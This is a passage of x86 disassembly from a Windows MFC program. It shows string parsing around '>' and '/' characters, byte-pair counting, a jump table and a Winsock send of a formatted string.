mov esi, eax
mov ebx, dword [sym.imp.MSVCRT.dll_strchr]
push pe_nt_image_headers32
push esi
call ebx
push 0x3e
push esi
mov edi, eax
call ebx
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0x60]
mov byte [edx], 0
push 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, ebx
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x68]
mov byte [edx], 0x2f
push ecx
lea edx, [esp + 0xa4]
push 0x3f3
push edx
call fcn.004022e0
lea esi, [ebp + 0x2410]
push 0x20
lea eax, [esp + 0xb0]
push esi
push eax
call fcn.00402280
lea edi, [esp + 0x84]
or ecx, 0xffffffff
xor eax, eax
push 0x400
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [ebp + 0x2430]
push ecx
lea ecx, [esp + 0x8c]
push ebx
push ecx
call fcn.00401bb0
mov eax, dword [ebp + 0x2844]
add esp, 0x44
cmp eax, 9
jl 0x407afa
mov dword [ebp + 0x2844], 1
jmp 0x407b01
inc eax
mov dword [ebp + 0x2844], eax
mov edx, dword [ebp + 0x2844]
push ebx
push esi
lea edi, [ebp + 4]
push edx
push str._d_s_s_
push edi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
lea eax, [ebp + 4]
push ecx
push eax
mov eax, dword [ebp + 0x2854]
push eax
call dword [sym.imp.WS2_32.dll_send]
jmp 0x409307
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0x50]
lea edx, [esp + 0x1c8]
rep stosd dword es:[edi], eax
xor ecx, ecx
xor esi, esi
mov dword [esp + 0x34], ecx
push 0x40e96c
mov dword [esp + 0x3c], ecx
push edx
mov dword [esp + 0x44], ecx
mov dword [esp + 0x24], esi
mov dword [esp + 0x48], ecx
mov byte [esp + 0x28], 0
stosw word es:[edi], ax
mov byte [esp + 0x29], 0
mov byte [esp + 0x2a], 0
mov dword [esp + 0x4c], ecx
call ebx
add esp, 8
test eax, eax
je 0x408000
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0x1c8]
lea ecx, [esp + 0x10]
push eax
mov dword [esp + 0x21d4], 1
call sub.MFC42.DLL_CString::operator
push 0x40e968
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x407bfb
mov edi, 0x40e968
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x30]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x30]
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
add eax, 2
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
lea edx, [esp + 0x30]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [esp + 0x148]
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xd8]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x144]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
add eax, 2
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
lea edx, [esp + 0x30]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::Find
add eax, 2
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
lea eax, [esp + 0x30]
lea ecx, [esp + 0x10]
push eax
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x158]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xec]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x158]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
add eax, 2
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
lea edx, [esp + 0x30]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::Find
add eax, 2
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
lea eax, [esp + 0x30]
lea ecx, [esp + 0x10]
push eax
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x13c]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x100]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x13c]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
add eax, 2
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
lea edx, [esp + 0x30]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::Find
add eax, 2
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
lea eax, [esp + 0x30]
lea ecx, [esp + 0x10]
push eax
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x160]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x114]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x160]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
add eax, 2
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
lea edx, [esp + 0x30]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::Find
add eax, 2
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
lea eax, [esp + 0x30]
lea ecx, [esp + 0x10]
push eax
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x140]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x128]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x140]
call sub.MFC42.DLL_CString::CString
mov dword [esp + 0x48], 0
lea esi, [esp + 0xd8]
mov dword [esp + 0x18], 5
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x407eed
cmp byte [edx + esi], 0xa1
jne 0x407edc
cmp byte [edx + esi + 1], 0xf6
jne 0x407edc
inc dword [esp + 0x48]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x407ecb
mov eax, dword [esp + 0x18]
add esi, 0x14
dec eax
mov dword [esp + 0x18], eax
jne 0x407ebb
mov ecx, dword [esp + 0x48]
lea eax, [ecx - 5]
cmp eax, 8
ja case.0x407f0b.6
jmp dword [eax*4 + 0x40933c]
mov dword [esp + 0x1c], 1
jmp case.0x407f0b.6
mov dword [esp + 0x1c], 4
jmp case.0x407f0b.6
mov dword [esp + 0x1c], 7
jmp case.0x407f0b.6
mov dword [esp + 0x1c], 8
jmp case.0x407f0b.6
lea edi, [esp + 0xec]
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je case.0x407f0b.6
cmp byte [esp + edx + 0xec], 0xa1
jne 0x407f76
cmp byte [esp + edx + 0xed], 0xf6
jne 0x407f76
inc esi
lea edi, [esp + 0xec]
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x407f61
cmp esi, 1
jne 0x407f9b
mov dword [esp + 0x1c], 6
jmp case.0x407f0b.6
cmp esi, 2
jne case.0x407f0b.6
mov dword [esp + 0x1c], 9
jmp case.0x407f0b.6
cmp byte [esp + 0xee], 0xa1
jne case.0x407f0b.6
cmp byte [esp + 0xef], 0xf6
jne 0x407fc8
mov dword [esp + 0x1c], 5
jmp case.0x407f0b.6
cmp byte [esp + 0x116], 0xa1
jne case.0x407f0b.6
mov cl, byte [esp + 0x117]
xor edx, edx
cmp cl, 0xf6
setne dl
add edx, 2
mov dword [esp + 0x1c], edx
lea ecx, [esp + 0x10]
mov dword [esp + 0x21d0], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov esi, dword [esp + 0x1c]
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
lea eax, [esp + 0x1c8]
push 0x40ed5c
push eax
call ebx
add esp, 8
test eax, eax
jne 0x40805e
lea ecx, [esp + 0x1c8]
push 0x40ed58
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x40805e
lea edx, [esp + 0x1c8]
push 0x40ed50
push edx
call ebx
add esp, 8
test eax, eax
jne 0x40805e
lea eax, [esp + 0x1c8]
push 0x40ed54
push eax
call ebx
add esp, 8
test eax, eax
je 0x408078
lea ecx, [esp + 0x1c8]
push 0x40ed4c
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x40837c
lea edx, [esp + 0x1c8]
push 0x2b
push edx
call edi
add esp, 8
test eax, eax
jne 0x4080b1
lea eax, [esp + 0x1c8]
push 0x2d
push eax
call edi
add esp, 8
test eax, eax
jne 0x4080b1
lea ecx, [esp + 0x1c8]
push 0x2a
push ecx
call edi
add esp, 8
test eax, eax
je 0x4080c8
lea edx, [esp + 0x1c8]
push 0x3d
push edx
call edi
add esp, 8
test eax, eax
jne 0x40837c
lea eax, [esp + 0x1c8]
push 0x40e964
push eax
call ebx
add esp, 8
test eax, eax
je 0x408136
lea ecx, [esp + 0x1c8]
push 0x40e964
push ecx
call ebx
add eax, 3
push 0x14
lea edx, [esp + 0x40]
push eax
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x14
lea eax, [esp + 0x34]
mov cl, byte [eax]
cmp cl, 0x30
jl 0x408111
cmp cl, 0x39
jle 0x408114
inc eax
jmp 0x408105
mov cl, byte [eax]
mov dl, byte [eax + 1]
lea eax, [esp + 0x20]
mov byte [esp + 0x20], cl
push eax
mov byte [esp + 0x25], dl
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov esi, eax
jmp 0x408380
lea ecx, [esp + 0x1c8]
push 0x40e954
push ecx
call ebx
add esp, 8
test eax, eax
je 0x40819c
lea edx, [esp + 0x1c8]
push 0x40ed04
push edx
call ebx
xor ecx, ecx
add eax, 2
mov dword [esp + 0x3c], ecx
push 5
mov dword [esp + 0x44], ecx
lea edx, [esp + 0x40]
mov dword [esp + 0x48], ecx
push eax
mov dword [esp + 0x50], ecx
push edx
mov dword [esp + 0x58], ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x14
lea eax, [esp + 0x34]
mov cl, byte [eax]
cmp cl, 0x30
jl 0x408199
cmp cl, 0x39
jle 0x408114
inc eax
jmp 0x408189
lea ecx, [esp + 0x1c8]
push 0x40e948
push ecx
call ebx
add esp, 8
test eax, eax
je 0x4081ec
lea edx, [esp + 0x1c8]
push 0x40e948
push edx
call ebx
add eax, 0xa
push 0x14
push eax
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x14
lea eax, [esp + 0x34]
mov cl, byte [eax]
cmp cl, 0x30
jl 0x4081e9
cmp cl, 0x39
jle 0x408114
inc eax
jmp 0x4081d9
lea ecx, [esp + 0x1c8]
push 0x40e93c
push ecx
call ebx
add esp, 8
test eax, eax
je 0x40823c
lea edx, [esp + 0x1c8]
push 0x40e93c
push edx
call ebx
add eax, 8
push 0x14
push eax
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x14
lea eax, [esp + 0x34]
mov cl, byte [eax]
cmp cl, 0x30
jl 0x408239
cmp cl, 0x39
jle 0x408114
inc eax
jmp 0x408229
lea ecx, [esp + 0x1c8]
push 0x40e934
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x40826c
lea edx, [esp + 0x1c8]
push 0x40e92c
push edx
call ebx
add esp, 8
test eax, eax
je 0x408380
lea eax, [esp + 0x1c8]
push 0x40e934
push eax
call ebx
mov edi, eax
add esp, 8
test edi, edi
jne 0x408298
lea ecx, [esp + 0x1c8]
push 0x40e92c
push ecx
call ebx
add esp, 8
mov edi, eax
add edi, 6
push 0x40e934
push edi
call ebx
add esp, 8
test eax, eax
je 0x4082c6
push 0x40e934
push edi
call ebx
add eax, 6
push 0x40e934
mov edi, eax
push edi
call ebx
add esp, 0x10
test eax, eax
jne 0x4082aa
push 0x40e92c
push edi
call ebx
add esp, 8
test eax, eax
je 0x4082f1
push 0x40e92c
push edi
call ebx
add eax, 6
push 0x40e92c
mov edi, eax
push edi
call ebx
add esp, 0x10
test eax, eax
jne 0x4082d5
mov esi, dword [sym.imp.MSVCRT.dll_strncpy]
push 0x14
lea edx, [esp + 0x38]
push edi
push edx
call esi
add esp, 0xc
lea eax, [esp + 0x34]
xor edx, edx
mov cl, byte [eax]
cmp cl, 0x30
jl 0x408316
cmp cl, 0x39
jle 0x40831f
cmp edx, 0x14
jge 0x408322
inc eax
inc edx
jmp 0x40830a
cmp edx, 0x14
jne 0x40835d
xor eax, eax
add edi, 0x14
mov dword [esp + 0x34], eax
push 0x14
mov dword [esp + 0x3c], eax
lea ecx, [esp + 0x38]
mov dword [esp + 0x40], eax
push edi
mov dword [esp + 0x48], eax
push ecx
mov dword [esp + 0x50], eax
call esi
add esp, 0xc
lea eax, [esp + 0x34]
mov cl, byte [eax]
cmp cl, 0x30
jl 0x40835a
cmp cl, 0x39
jle 0x40835d
inc eax
jmp 0x40834e
mov dl, byte [eax]
mov al, byte [eax + 1]
lea ecx, [esp + 0x20]
mov byte [esp + 0x20], dl
push ecx
mov byte [esp + 0x25], al
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov esi, eax
jmp 0x408380
mov esi, dword [esp + 0x14]
cmp esi, 0x10
mov edi, 2
ja case.default.0x40838e
jmp dword [esi*4 + 0x409360]
lea edx, [esp + 0x1c8]
push 0x40e924
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x4083c9
lea eax, [esp + 0x1c8]
push 0x40e920
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov byte [eax], 0
lea edi, [esi + 2]
jmp 0x408db4
lea ecx, [esp + 0x1c8]
push 0x40ec68
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408482
lea edx, [esp + 0x1c8]
push 0x40ec9c
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408482
lea eax, [esp + 0x1c8]
push 0x40ec8c
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408482
lea ecx, [esp + 0x1c8]
push 0x40ec94
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408482
lea edx, [esp + 0x1c8]
push 0x40ec5c
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 1
jne 0x408482
lea eax, [esp + 0x1c8]
push 0x40e918
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 5
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esi, edi
mov byte [eax], 0
add esp, 8
cmp byte [esi], 0x2f
je 0x4084a0
mov al, byte [esi + 1]
inc esi
cmp al, 0x2f
jne 0x408498
lea edx, [esp + 0x50]
mov edi, esi
jmp 0x408db8
lea ecx, [esp + 0x1c8]
push 0x40ec64
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x40854d
lea edx, [esp + 0x1c8]
push 0x40ec98
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x40854d
lea eax, [esp + 0x1c8]
push 0x40ec90
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x40854d
lea ecx, [esp + 0x1c8]
push 0x40ec88
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x40854d
lea edx, [esp + 0x1c8]
push 0x40ec58
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 1
jne 0x40854d
lea eax, [esp + 0x1c8]
push 0x40e910
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 5
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esi, edi
mov byte [eax], 0
add esp, 8
cmp byte [esi], 0x2f
je 0x40856b
mov al, byte [esi + 1]
inc esi
cmp al, 0x2f
jne 0x408563
lea edx, [esp + 0x50]
mov edi, esi
jmp 0x408db8
lea ecx, [esp + 0x1c8]
push 0x40ec60
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408618
lea edx, [esp + 0x1c8]
push 0x40e90c
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408618
lea eax, [esp + 0x1c8]
push 0x40e908
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408618
lea ecx, [esp + 0x1c8]
push 0x40ec84
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408618
lea edx, [esp + 0x1c8]
push 0x40e904
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 1
jne 0x408618
lea eax, [esp + 0x1c8]
push 0x40e8fc
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 5
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esi, edi
mov byte [eax], 0
add esp, 8
cmp byte [esi], 0x2f
je 0x408636
mov al, byte [esi + 1]
inc esi
cmp al, 0x2f
jne 0x40862e
lea edx, [esp + 0x50]
mov edi, esi
jmp 0x408db8
lea ecx, [esp + 0x1c8]
push 0x40e8f8
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x4086e3
lea edx, [esp + 0x1c8]
push 0x40e8f4
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x4086e3
lea eax, [esp + 0x1c8]
push 0x40e8f0
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x4086e3
lea ecx, [esp + 0x1c8]
push 0x40e8ec
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x4086e3
lea edx, [esp + 0x1c8]
push 0x40e8e8
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 1
jne 0x4086e3
lea eax, [esp + 0x1c8]
push 0x40e8e0
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 5
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esi, edi
mov byte [eax], 0
add esp, 8
cmp byte [esi], 0x2f
je 0x408701
mov al, byte [esi + 1]
inc esi
cmp al, 0x2f
jne 0x4086f9
lea edx, [esp + 0x50]
mov edi, esi
jmp 0x408db8
lea ecx, [esp + 0x1c8]
push 0x40e8dc
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408792
lea edx, [esp + 0x1c8]
push 0x40e8d8
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408792
lea eax, [esp + 0x1c8]
push 0x40e8d4
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408792
lea ecx, [esp + 0x1c8]
push 0x40e8d0
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 1
jne 0x408792
lea edx, [esp + 0x1c8]
push 0x40e8c8
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 5
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esi, edi
mov byte [eax], 0
add esp, 8
cmp byte [esi], 0x2f
je 0x4087b0
mov al, byte [esi + 1]
inc esi
cmp al, 0x2f
jne 0x4087a8
lea edx, [esp + 0x50]
mov edi, esi
jmp 0x408db8
lea ecx, [esp + 0x1c8]
push 0x40e8c4
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408841
lea edx, [esp + 0x1c8]
push 0x40e8c0
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408841
lea eax, [esp + 0x1c8]
push 0x40e8bc
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408841
lea ecx, [esp + 0x1c8]
push 0x40e8b8
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 1
jne 0x408841
lea edx, [esp + 0x1c8]
push 0x40e8b0
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 5
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esi, edi
mov byte [eax], 0
add esp, 8
cmp byte [esi], 0x2f
je 0x40885f
mov al, byte [esi + 1]
inc esi
cmp al, 0x2f
jne 0x408857
lea edx, [esp + 0x50]
mov edi, esi
jmp 0x408db8
lea ecx, [esp + 0x1c8]
push 0x40e8ac
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x4088f0
lea edx, [esp + 0x1c8]
push 0x40e8a8
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x4088f0
lea eax, [esp + 0x1c8]
push 0x40e8a4
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x4088f0
lea ecx, [esp + 0x1c8]
push 0x40e8a0
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 1
jne 0x4088f0
lea edx, [esp + 0x1c8]
push 0x40e898
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 5
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esi, edi
mov byte [eax], 0
add esp, 8
cmp byte [esi], 0x2f
je 0x40890e
mov al, byte [esi + 1]
inc esi
cmp al, 0x2f
jne 0x408906
lea edx, [esp + 0x50]
mov edi, esi
jmp 0x408db8
lea ecx, [esp + 0x1c8]
push 0x40e894
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x40899f
lea edx, [esp + 0x1c8]
push 0x40e890
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x40899f
lea eax, [esp + 0x1c8]
push 0x40e88c
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x40899f
lea ecx, [esp + 0x1c8]
push 0x40e888
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 1
jne 0x40899f
lea edx, [esp + 0x1c8]
push 0x40e880
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 5
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esi, edi
mov byte [eax], 0
add esp, 8
cmp byte [esi], 0x2f
je 0x4089bd
mov al, byte [esi + 1]
inc esi
cmp al, 0x2f
jne 0x4089b5
lea edx, [esp + 0x50]
mov edi, esi
jmp 0x408db8
lea ecx, [esp + 0x1c8]
push 0x40e87c
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408a4e
lea edx, [esp + 0x1c8]
push 0x40e878
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408a4e
lea eax, [esp + 0x1c8]
push 0x40e874
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408a4e
lea ecx, [esp + 0x1c8]
push 0x40e870
push ecx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 1
jne 0x408a4e
lea edx, [esp + 0x1c8]
push 0x40e868
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 5
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esi, edi
mov byte [eax], 0
add esp, 8
cmp byte [esi], 0x2f
je 0x408a6c
mov al, byte [esi + 1]
inc esi
cmp al, 0x2f
jne 0x408a64
lea edx, [esp + 0x50]
mov edi, esi
jmp 0x408db8
lea ecx, [esp + 0x1c8]
push 0x40e860
push ecx
mov edi, 5
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408ad2
lea edx, [esp + 0x1c8]
push str.10__
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 3
jne 0x408ad2
lea eax, [esp + 0x1c8]
push 0x40e84c
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 7
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov byte [eax], 0
add edi, esi
jmp 0x408db4
lea ecx, [esp + 0x1c8]
push 0x40e844
push ecx
mov edi, 5
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408b43
lea edx, [esp + 0x1c8]
push str.11__
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 3
jne 0x408b43
lea eax, [esp + 0x1c8]
push 0x40e830
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 7
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov byte [eax], 0
add edi, esi
jmp 0x408db4
lea ecx, [esp + 0x1c8]
push 0x40e828
push ecx
mov edi, 5
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408bb4
lea edx, [esp + 0x1c8]
push str.12__
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 3
jne 0x408bb4
lea eax, [esp + 0x1c8]
push 0x40e814
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 7
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov byte [eax], 0
add edi, esi
jmp 0x408db4
lea ecx, [esp + 0x1c8]
push 0x40e80c
push ecx
mov edi, 5
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408c25
lea edx, [esp + 0x1c8]
push str.13__
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 3
jne 0x408c25
lea eax, [esp + 0x1c8]
push 0x40e7f8
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 7
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov byte [eax], 0
add edi, esi
jmp 0x408db4
lea ecx, [esp + 0x1c8]
push 0x40e7f0
push ecx
mov edi, 5
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408c96
lea edx, [esp + 0x1c8]
push str.14__
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 3
jne 0x408c96
lea eax, [esp + 0x1c8]
push 0x40e7dc
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 7
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov byte [eax], 0
add edi, esi
jmp 0x408db4
lea ecx, [esp + 0x1c8]
push 0x40e7d4
push ecx
mov edi, 5
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408d07
lea edx, [esp + 0x1c8]
push str.15__
push edx
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 3
jne 0x408d07
lea eax, [esp + 0x1c8]
push 0x40e7c0
push eax
call ebx
mov esi, eax
add esp, 8
test esi, esi
mov edi, 7
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov byte [eax], 0
add edi, esi
jmp 0x408db4
lea ecx, [esp + 0x1c8]
push 0x40e7b8
push ecx
mov edi, 5
call ebx
mov esi, eax
add esp, 8
test esi, esi
jne 0x408d57
lea edx, [esp + 0x1c8]
push str.16__
push edx
call ebx
mov esi, eax
